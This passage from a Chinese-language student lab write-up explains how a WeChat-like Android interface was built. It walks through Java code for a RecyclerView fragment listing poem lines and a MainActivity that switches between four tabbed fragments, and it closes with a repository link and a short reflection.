        list.add("网友4:万物生光辉");
        list.add("网友5:常恐秋节至");
        list.add("网友6:焜黄华叶衰");
        list.add("网友7:百川东到海");
        list.add("网友8:何时复西归");
        list.add("网友9:少壮不努力");
        list.add("网友10:老大徒伤悲");
    }

创建一个LinearLayoutManager对象，并将其赋值给manager变量。然后通过调用setOrientation(LinearLayoutManager.VERTICAL)方法，将布局方向设置为垂直方向。

1
2
LinearLayoutManager manager=new LinearLayoutManager(context);
    manager.setOrientation(LinearLayoutManager.VERTICAL);

myadapter = new Myadapter(context, list); 创建一个名为myadapter的自定义适配器对象，并传入context和list作为参数进行初始化。

recyclerView.setAdapter(myadapter); 将创建的适配器对象myadapter设置给recyclerView，用于显示数据。recyclerView.setLayoutManager(manager); 将之前创建的布局管理器manager设置给recyclerView，用于控制列表的布局方式。

return view; 返回包含recyclerView的视图对象。

1
2
3
4
5
6
myadapter = new Myadapter(context,list);

    recyclerView.setAdapter(myadapter);
    recyclerView.setLayoutManager(manager);
    recyclerView.addItemDecoration(new DividerItemDecoration(context,LinearLayoutManager.VERTICAL));
    return view;

ltfragment全部代码展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package com.example.mywork;

import android.content.Context;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.DividerItemDecoration;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;

import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;

import java.util.ArrayList;
import java.util.List;

/**
 * A simple {@link Fragment} subclass.
 * Use the {@link ltFragment#newInstance} factory method to
 * create an instance of this fragment.
 *
 */
public class ltFragment extends Fragment {

    // TODO: Rename parameter arguments, choose names that match
    // the fragment initialization parameters, e.g. ARG_ITEM_NUMBER
    private static final String ARG_PARAM1 = "param1";
    private static final String ARG_PARAM2 = "param2";

    // TODO: Rename and change types of parameters
    private String mParam1;
    private String mParam2;

    /**
     * Use this factory method to create a new instance of
     * this fragment using the provided parameters.
     *
     * @param param1 Parameter 1.
     * @param param2 Parameter 2.
     * @return A new instance of fragment ltFragment.
     */
    // TODO: Rename and change types and number of parameters
    public static ltFragment newInstance(String param1, String param2) {
        ltFragment fragment = new ltFragment();
        Bundle args = new Bundle();
        args.putString(ARG_PARAM1, param1);
        args.putString(ARG_PARAM2, param2);
        fragment.setArguments(args);
        return fragment;
    }

    public ltFragment() {
        // Required empty public constructor
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (getArguments() != null) {
            mParam1 = getArguments().getString(ARG_PARAM1);
            mParam2 = getArguments().getString(ARG_PARAM2);
        }
    }

    private RecyclerView recyclerView;
    private List<String> list;
    private Context context;
    private Myadapter myadapter;
    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        View view=inflater.inflate(R.layout.fragment_lt,container,false);
        context=view.getContext();
        recyclerView=view.findViewById(R.id.recyclerview);
        list=new ArrayList();
        initData();

        LinearLayoutManager manager=new LinearLayoutManager(context);

        manager.setOrientation(LinearLayoutManager.VERTICAL);

        myadapter = new Myadapter(context,list);

        recyclerView.setAdapter(myadapter);

        recyclerView.setLayoutManager(manager);


        recyclerView.addItemDecoration(new DividerItemDecoration(context,LinearLayoutManager.VERTICAL));
        return view;

        // Inflate the layout for this fragment
        //return inflater.inflate(R.layout.fragment_lt, container, false);
    }

    private void initData(){
        list.add("网友1:青青园中葵");
        list.add("网友2:朝露待日晞");
        list.add("网友3:阳春布德泽");
        list.add("网友4:万物生光辉");
        list.add("网友5:常恐秋节至");
        list.add("网友6:焜黄华叶衰");
        list.add("网友7:百川东到海");
        list.add("网友8:何时复西归");
        list.add("网友9:少壮不努力");
        list.add("网友10:老大徒伤悲");
    }

}

MainActivity.java全部内容展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example.mywork;

import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;

import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.LinearLayout;

import java.util.ArrayList;
import java.util.List;

public class MainActivity extends AppCompatActivity implements View.OnClickListener{
    Fragment fragment1,fragment2,fragment3,fragment4;
    FragmentManager fm;
    LinearLayout linearLayout1,linearLayout2,linearLayout3,linearLayout4;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        fragment1 = new ltFragment();
        fragment2 = new txlFragment();
        fragment3 = new findFragment();
        fragment4 = new wdFragment();
        fm = getSupportFragmentManager();

        linearLayout1 = findViewById(R.id.id_tab_wx);
        linearLayout2 = findViewById(R.id.id_tab_friend);
        linearLayout3 = findViewById(R.id.id_tab_address);
        linearLayout4 = findViewById(R.id.id_tab_setting);

        inital();
        fragmenthide();
        fragmentshow(fragment1);
        linearLayout1.setOnClickListener(this);
        linearLayout2.setOnClickListener(this);
        linearLayout3.setOnClickListener(this);
        linearLayout4.setOnClickListener(this);
    }

    private void fragmenthide() {
        FragmentTransaction ft = fm.beginTransaction()
                .hide(fragment1)
                .hide(fragment2)
                .hide(fragment3)
                .hide(fragment4);
        ft.commit();
    }

    public void inital() {

        FragmentTransaction ft = fm.beginTransaction()
                .add(R.id.content,fragment1)
                .add(R.id.content,fragment2)
                .add(R.id.content,fragment3)
                .add(R.id.content,fragment4);
        ft.commit();

    }

    @Override
    public void onClick(View view) {
        fragmenthide();
        if (view.getId()==R.id.id_tab_wx){
            fragmentshow(fragment1);
        }else if (view.getId()==R.id.id_tab_friend){
            fragmentshow(fragment2);
        }else if (view.getId()==R.id.id_tab_address){
            fragmentshow(fragment3);
        }else if(view.getId()==R.id.id_tab_setting){
            fragmentshow(fragment4);
        }
    }

    private void fragmentshow(Fragment fragment) {
        FragmentTransaction transaction = fm.beginTransaction()
                .show(fragment);
        transaction.commit();
    }
}

结果展示

image.png

image.png

Snipaste_2023-10-07_21-10-09.png

Snipaste_2023-10-07_21-10-13.png

代码仓库

Kylinxin/MyWork: 类微信界面源代码 (github.com)

总结

这是我第一次利用as进行移动开发实现了一个简单的类微信的界面设计，加强了我对as的fragment、基本layout、recycleview的认知，以及对xml文件进行界面编写部分以及对相关的控件有了更深入的了解，能够设计基础UI界面，实现界面跳转功能以及在fragment里面调用recycleview实现列表功能，给我提供了一定的思路进行功能和界面相互连接的代码的编写。在这次的实验下我也对AS这款软件进行了熟悉，对于其提词器的强大有了很深的印象。

​ ——2023.10.13

0%